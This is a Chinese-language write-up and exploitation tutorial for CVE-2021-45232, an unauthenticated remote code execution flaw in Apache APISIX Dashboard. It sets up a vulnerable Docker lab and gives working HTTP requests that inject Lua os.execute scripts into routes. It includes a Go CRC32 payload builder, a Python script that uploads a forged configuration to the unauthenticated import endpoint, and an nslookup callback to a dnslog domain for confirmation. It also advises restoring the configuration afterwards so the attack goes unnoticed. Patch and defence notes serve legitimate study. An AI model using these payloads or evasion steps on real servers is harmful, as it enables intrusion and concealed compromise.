CVE-2021-45232 Apache-apisix-dashboard RCE 分析与思考
字数 1717 2025-08-29 08:30:36
Apache APISIX Dashboard RCE漏洞(CVE-2021-45232)深度分析与利用教学
漏洞概述
CVE-2021-45232是Apache APISIX Dashboard中的一个高危漏洞,允许攻击者通过未授权访问特定API实现远程代码执行(RCE)。该漏洞存在于Manager API中,由于部分接口绕过身份验证机制,导致攻击者可以操控路由配置并注入恶意Lua脚本。
受影响版本
- Apache APISIX Dashboard < 2.10.1
漏洞原理
身份验证绕过
漏洞的根本原因是Manager API在gin框架基础上引入了droplet框架,但部分API直接使用了gin框架的接口,从而绕过了droplet框架的身份验证机制。具体来说,以下两个关键API可以未授权访问:
/apisix/admin/migrate/export- 导出当前配置/apisix/admin/migrate/import- 导入新配置
RCE实现机制
APISIX在请求转发过程中允许用户自定义Lua脚本,这是其设计特性。攻击者可以通过修改路由配置,在script字段中插入恶意Lua代码(如os.execute()),当该路由被访问时就会执行相应命令。
环境搭建
使用Docker快速搭建漏洞环境:
git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/
修改docker-compose.yml文件,确保使用存在漏洞的版本:
apache/apisix-dashboard:2.7apache/apisix:2.6-alpine
注意版本匹配问题,apisix-dashboard-2.7需要与apisix-2.6配合使用。
漏洞复现步骤
授权情况下的RCE
- 访问Dashboard(默认端口9000),使用admin/admin登录
- 创建Upstream:
- Name: 任意
- Targets: 填写目标服务地址(如内置Grafana应用,端口3000)
- 创建Route:
- Name: 任意
- Path: 自定义路径(如/rce1)
- Select Upstream: 选择刚创建的Upstream
- 抓包修改Route配置:
在编辑Route时拦截请求,添加script字段:
PUT /apisix/admin/routes/387835847795278530 HTTP/1.1
Host: 192.168.1.129:9000
Content-Type: application/json;charset=UTF-8
Authorization: [your_token]
{
"uris": ["/rce1"],
"methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
"priority": 0,
"name": "rce1",
"status": 1,
"labels": {},
"script": "os.execute('touch /tmp/yyztest')",
"upstream_id": "387837637639013058"
}
- 访问触发路由:
http://[target]:9080/rce1 - 验证命令执行:检查Docker容器中是否创建了
/tmp/yyztest文件
未授权情况下的RCE
- 导出当前配置:
GET /apisix/admin/migrate/export HTTP/1.1
Host: 192.168.1.129:9000
- 修改配置文件,在Routes和Scripts部分添加恶意脚本:
{
"Routes": [{
"id": "387929469693723331",
"uris": ["/rce1"],
"name": "rce1",
"methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
"script": "os.execute('touch /tmp/yyztest22')",
"script_id": "387929469693723331",
"upstream_id": "387928730657358531",
"status": 1
}],
"Scripts": [{
"id": "387929469693723331",
"script": "os.execute('touch /tmp/yyztest22')"
}]
}
- 计算新的CRC32校验和(Go示例):
package main
import (
"encoding/binary"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
data := []byte(`{...your modified config...}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksum := make([]byte, 4)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
ioutil.WriteFile("apisixPayload", fileBytes, os.ModePerm)
}
- 使用Python上传修改后的配置:
import requests
url = "http://192.168.1.129:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
- 访问触发路由:
http://[target]:9080/rce1
漏洞修复
升级到Apache APISIX Dashboard 2.10.1或更高版本。修复方案主要是在api\internal\filter\authentication.go中新增了Authentication()函数,并在路由处理中强制进行鉴权。
检测与验证
由于该RCE无回显,可通过以下方式验证:
- DNS查询:使用
os.execute('nslookup yourdomain.dnslog.cn') - 文件时间戳:检查特定文件的修改时间(Linux下)
- 网络流量:监控出站连接
技术要点总结
- 漏洞根源在于部分API绕过droplet框架的鉴权
- 利用APISIX支持自定义Lua脚本的特性实现RCE
- 通过导出/导入配置功能实现未授权操作
- 配置文件需要正确的CRC32校验和
- 攻击后注意恢复原始配置以避免被发现
防御建议
- 及时升级到安全版本
- 限制APISIX Dashboard的管理接口访问
- 监控配置文件的异常修改
- 审计Lua脚本内容,限制危险函数使用
参考资源
- 官方文档:https://apisix.apache.org/
- CVE详情:https://nvd.nist.gov/vuln/detail/CVE-2021-45232
- 修复提交:https://github.com/apache/apisix-dashboard/commit/...